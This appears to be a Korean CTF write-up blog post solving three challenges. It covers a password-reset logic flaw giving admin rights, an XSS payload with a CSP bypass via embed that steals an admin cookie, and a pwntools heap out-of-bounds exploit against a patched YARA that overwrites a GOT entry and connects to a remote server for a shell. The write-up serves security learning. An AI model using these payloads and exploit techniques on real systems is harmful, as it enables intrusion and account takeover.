github twitter facebook email
Cyberoc19
Aug 24, 2019
5 minutes read

Uneducated people

목차

  • 1.1 Hidden Command
  • 1.2 The Camp
  • 1.3 YaraTheFlag

Hidden Command

회원가입을 하고 로그인을 하고 Board를 보게되면

Secret Document를 읽으면 될 것처럼 보인다.

주어진 코드를 분석해보면,

@frontend.route("/view", methods=["GET"])
@login_required
def view():
    cur_username = current_user.username
    bid = 1
    try:
        bid = int(request.args.get('id'))
    except:
        bid = 1
    b = Board.query.filter_by(id = bid).first()
    if b.username == current_user.username:
        return render_template("view.html", b = b)
    return abort(401)

이런식으로 Author와 현재유저와 이름이 같지 않으면 401를 내보낸다. 그래서 current_user.username을 조작하기 위해서 조금 더 코드를 분석해보았더니

@frontend.route("/forget", methods=["GET", "POST"])
def forget():
    form = ForgetForm(request.form)
    msg = None
    if request.method == "POST" and form.validate():
        msg = "User not found"
        user = User.query.filter_by(username = form.username.data, email = form.email.data).first()
        if user:
            new_password = rand_password(10)
            new_user = User(form.username.data, new_password, form.email.data)
            clear_user(user)
            db_session.add(new_user)

            board_lst = Board.query.filter_by(username = form.username.data).all()
            for b in board_lst:
                b.username = admin_username

            db_session.commit()
            return render_template("forget_res.html", password = new_password)
    return render_template("forget.html", msg = msg, form = form)

해당 부분에서 clear_user부분에서

def clear_user(user):
    user.username = admin_username
    user.password = admin_password
    user.email = admin_email

다음 같은 루틴을 처리하기에, current_user가 admin으로 바뀐다.

해당 이름으로 가입후, 로그인을 진행하고

글을 작성해준다. 그리고 /forget으로 이동해서

다음을 진행해주면 current_useradmin으로 바뀐다.

Flag : FLAG{N0t_s3cur3_4t_411}

The Camp

글을 쓰면 </textarea> <img src=x onerror="alert(1)" 꼴로 safe_view=1일 경우 xss가 작동한다.

하지만 save_view=0일경우 CSPscript-src 'self';가 걸리는데,

object-src가 없기에 <embed src="/view.php?lid=~~~~" 같은 식으로 글을 하나 더 쓰고, 이를 admin한테 보내면 된다.

해당 방식으로 진행하면 cred=y0u_4r3_g0000000d_47_byb_!!; PHPSESSID=ammojtipnvgsc6luf53b747kip 같은 식으로 cookie값이 오는데, 도대체 PHPSESSID에 쿠키를 넣어도 secret.php에 접속이 되질 않았다.

그래서 끝없는 게싱을 시작하였고, .secret.php.swp이 있는걸 발견하였다…..

$phar->setStub($phar->createDefaultStub("index.php"));
$phar["index.php"]    = file_get_contents("../admin_console/index.php");
$phar["flag.php"]     = file_get_contents("../admin_console/flag.php");
$phar["monitor.php"]  = file_get_contents("../admin_console/monitor.php");
$phar["shell.php"]    = file_get_contents("../admin_console/shell.php");
$phar["credit.php"]   = file_get_contents("../admin_console/credit.php");
$phar = new Phar("admin.phar", FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO, "admin.phar");

대충 이런식으로 되어있는걸 보고

http://52.78.85.107/admin.phar/index.php 에 접속하였고,

쿠키에 cred=y0u_4r3_g0000000d_47_byb_!!가 세팅되었을 경우 정상적으로 admin check가 되었다. 그리고

http://52.78.85.107/admin.phar/flag.php에서 플래그를 획득할 수 있다.

Flag : FLAG{w0000h_RainbowReflect_PHP}

YaraTheFlag

주어진 patchfile를 보면 원본 libc와 diffing을 떠놓았다.

해당 파일을 읽다보면

Unit_ParseContainer_Parse 두부분에서 취약점이 발생한다.

int Unit_Parse(Unit_t *unit, UnitEntry_t **out) {

  /* a bunch of sanity checks */
  uint8_t *buf;
  if (unit->magic != UNIT_MAGIC) {
    fprintf(stderr,"unit: invalid magic (%04x)\n",unit->magic);
    return 0;
  }

  UnitEntry_t *new = (UnitEntry_t *)yr_malloc(sizeof(UnitEntry_t));
  
  new->unitData = makeStr(unit->unitData, 8);
  new->unitKey = makeStr(unit->unitKey, 8);

  out[unit->unitID] = new;
  numUnits;
  return 1;
}

해당 부분을 보면 unit->unitID 값을 원하는대로 조작이 가능할 경우, out에서 OOB 취약점이 일어날 수 있다.

int Container_Parse(uint8_t *data, uint32_t blockno, Container_t *container) {
  uint8_t *start = data + blockno * BLOCK_SIZE;
  ContainerEntry_t *entry;

  memcpy(container, start, sizeof(*container));

  /* a bunch of sanity checks */
  if (container->magic != CONTAINER_MAGIC) {
    fprintf(stderr,"container: invalid magic (%04x)\n",container->magic);
    return 0;
  }

  if (container->unitCnt > maxUnitsPerContainer) {
    fprintf(stderr,"container: too many units in one container (%d)\n",container->unitCnt);
    return 0;
  }

  entry = (ContainerEntry_t *)yr_malloc(sizeof(*entry));
  if (!entry) {
    return 0;
  }

  entry->unitCnt = container->unitCnt;
  entry->vector = (UnitEntry_t **)calloc(entry->unitCnt, sizeof(UnitEntry_t *));
  containers[container->containerID] = entry;

  if (!Container_readUnits(data, container, entry)) {
    yr_free(entry->vector);
    yr_free(entry);
    return 0;
  }

  return 1;
}

이부분도 마찬가지로 container->containerID가 조작이 가능할 경우 OOB가 일어날 수 있다.

해당 부분이 조작이 가능한지를 확인하기 위해 바이너리 분석을 시작했다.

먼저 바이너리를 실행시켜 본 결과,

❯ ./yara rule q
secret: invalid magic (46445341)
error scanning q: invalid compiled rules file.

( q 파일에는 ASDFASDFASDFASDF 가 들어있다)

다음같은 결과를 얻었다. 해당 문자열을 어디서 출력하는지 보니 secret__load함수에서 진행했다. 따라서 secret__load함수에서 파일을 loading하는것을 알 수 있었다.

    if ( *v9 == 'RCES' )
    {
      v11 = *(v9 + 2);
      maxUnitsPerContainer = *(v9 + 3);
      if ( !v11 || numContainers > 0x100 )
      {
LABEL_13:
        SetAllVars(v6);
        return v5;
      }
      while ( Container_Parse(v10, v11, &container) )
      {
        v11 = container.next;
        v12 = numContainers++ + 1;
        if ( !container.next || v12 > 0x100 )
          goto LABEL_13;
      }

이런식으로 첫 글자가 SECR 인것을 알 수 있고,

그 이후의 값으로 v11maxUnitsPerContainer를 설정할 수 있다.

그리고 Container_parse (윗부분에 코드가 있으니 재첨부 X) 를 보면 containerContainer_t 구조체를 따르는데 다음 형식을 따른다.

struct Container_t
{
  uint32_t magic;
  uint32_t unitCnt;
  uint32_t unitVector;
  uint32_t next;
  uint64_t containerID;
  uint8_t reserved[8];
};

그리고 Container_parse의 처음 부분을 보아서 32바이트 단위로 container를 구분하는걸 볼 수 있다.

uint8_t *start = data + blockno(=v11) * BLOCK_SIZE(=32);
ContainerEntry_t *entry;
memcpy(container, start, sizeof(*container));

지금까지 분석한것으로 보아서

f.write("SECR")         # magic
f.write(p32(0))         # padd
f.write(p32(1))         # v11
f.write(p32(0x500000))  # maxUnitsPerContainer
f.write(p32(0)*4)       # padd

f.write('CTNR')         # magic
f.write(p32(0))         # unitCnt
f.write(p32(0))         # unitVector
f.write(p32(0))         # next
f.write(p64(0))         # containerID
f.write(p64(0))         # reserved(=padd)

container->conatinerID가 조작이 가능함으로 OOB가 일어나고,

해당 OOB는 libyara.so.3.9.0@bss영역에서 일어난다.

그리고 Container_readUnits함수를 분석해보면

  v3 = 32 * container->unitVector;
  if ( !container->unitCnt )
    return 1;
  v4 = containerEntry;
  v5 = 0;
  while ( 1 )
  {
    result = Unit_Parse(&data[32 * *&data[4 * v5 + v3]], v4->vector);
    if ( !result )
      break;
    if ( container->unitCnt <= ++v5 )
      return 1;
  }

로 되어있다. 해당 block은 container->unitVector로 base를 잡고

해당부분부터 idx를 세어 32bit 단위로 되어있는걸 볼 수 있다.

f.write(p32(1)) # idx1
f.write(p32(2)) # idx2
f.write(p32(3)) # idx3
...
f.write(p32(8)) # idx8

이런식으로 말이다.

해당 Unit_Parse를 보면 unit변수가 Unit_t를 따른다.

struct Unit_s
{
  uint32_t magic;
  uint8_t unitData[8];
  uint8_t unitKey[8];
  __attribute__((packed)) __attribute__((aligned(1))) uint64_t unitID;
  uint8_t reserved[4];
};

코드로 표현하면 다음과 같다.

f.write("UNIT")     # magic
f.write(p64(0))     # unitData
f.write(p64(0))     # unitKey
f.write(p64(0))     # unitID
f.write(p32(0))     # reserved

unit->unitID를 조작이 가능함으로 OOB가 일어나고, 해당 OOB는 heap영역에서 일어난다.

Exploit방법을 생각해보면, heap영역 OOB를 이용해서 tcache bin을 조작할 수 있다.

즉 우리가 원하는 값을 tcache bin에 넣을 수 있게 된다. 이를 이용해서 Exploit이 가능할 듯 싶다.

우리가 heap영역 OOB를 이용해서 tcache bin을 조작하게 되면

(0x20)   tcache_entry[0](3): A --> B --> OurInput

다음같이 tcache bin이 구성된다. 우리가 unit를 구성할 때

UnitEntry_t *new = (UnitEntry_t *)yr_malloc(sizeof(UnitEntry_t));
  
new->unitData = makeStr(unit->unitData, 8);
new->unitKey = makeStr(unit->unitKey, 8);

malloc을 총 3번을 진행한다. OutInputmakeStr에서 받아낼 수 있고, unit->unitKey값을 쓸 수 있다.

따라서 원하는 주소원하는 값을 쓸 수 있으므로 Exploit이 진행된다.

yr_finalize@gotgiveShell로 써넣으면 된다. 그리고 yr_finalize로 가는 루틴을 타기 위해서

container->containerID0x101로 조작하여 containers배열에 값이 들어가지 않게 하여

SetAllVars(v6); 내부 루틴을 타지 않게 하였다.

from pwn import *

f = open('exploit','w')

f.write("SECR")                           # magic
f.write(p32(0))                           # padd
f.write(p32(1))                           # v11
f.write(p32(0x500000))                    # maxUnitsPerContainer
f.write(p32(0)*4)                         # padd

f.write('CTNR')                           # magic
f.write(p32(2))                           # unitCnt
f.write(p32(2))                           # unitVector
f.write(p32(0))                           # next
f.write(p64(0x101))                       # containerID
f.write(p64(0))                           # reserved

f.write(p32(3))                           # idx1
f.write(p32(4))                           # idx2
f.write(p32(0)*6)                         # padd

f.write("UNIT")                           # magic
f.write(p64(0x606040))                    # unitData
f.write(p64(0))                           # unitKey
f.write(p64(-106434&0xffffffffffffffff))  # unitID
f.write(p32(0))                           # reserved

f.write("UNIT")                           # magic
f.write(p64(0))                           # unitData
f.write(p64(0x404160))                    # unitKey
f.write(p64(0))                           # unitId
f.write(p32(0))                           # reserved

f.close()
from pwn import *

p = remote('13.124.144.0', 9988)
f = open('exploit','r')
data = f.read()

p.sendline(str(len(data)))
p.sendline(data)
p.interactive()

Flag : FLAG{e0313becb80951f61520038f94d29a230c6c978d025ba7f74dcc41a422e9025c}


Back to posts


comments powered by Disqus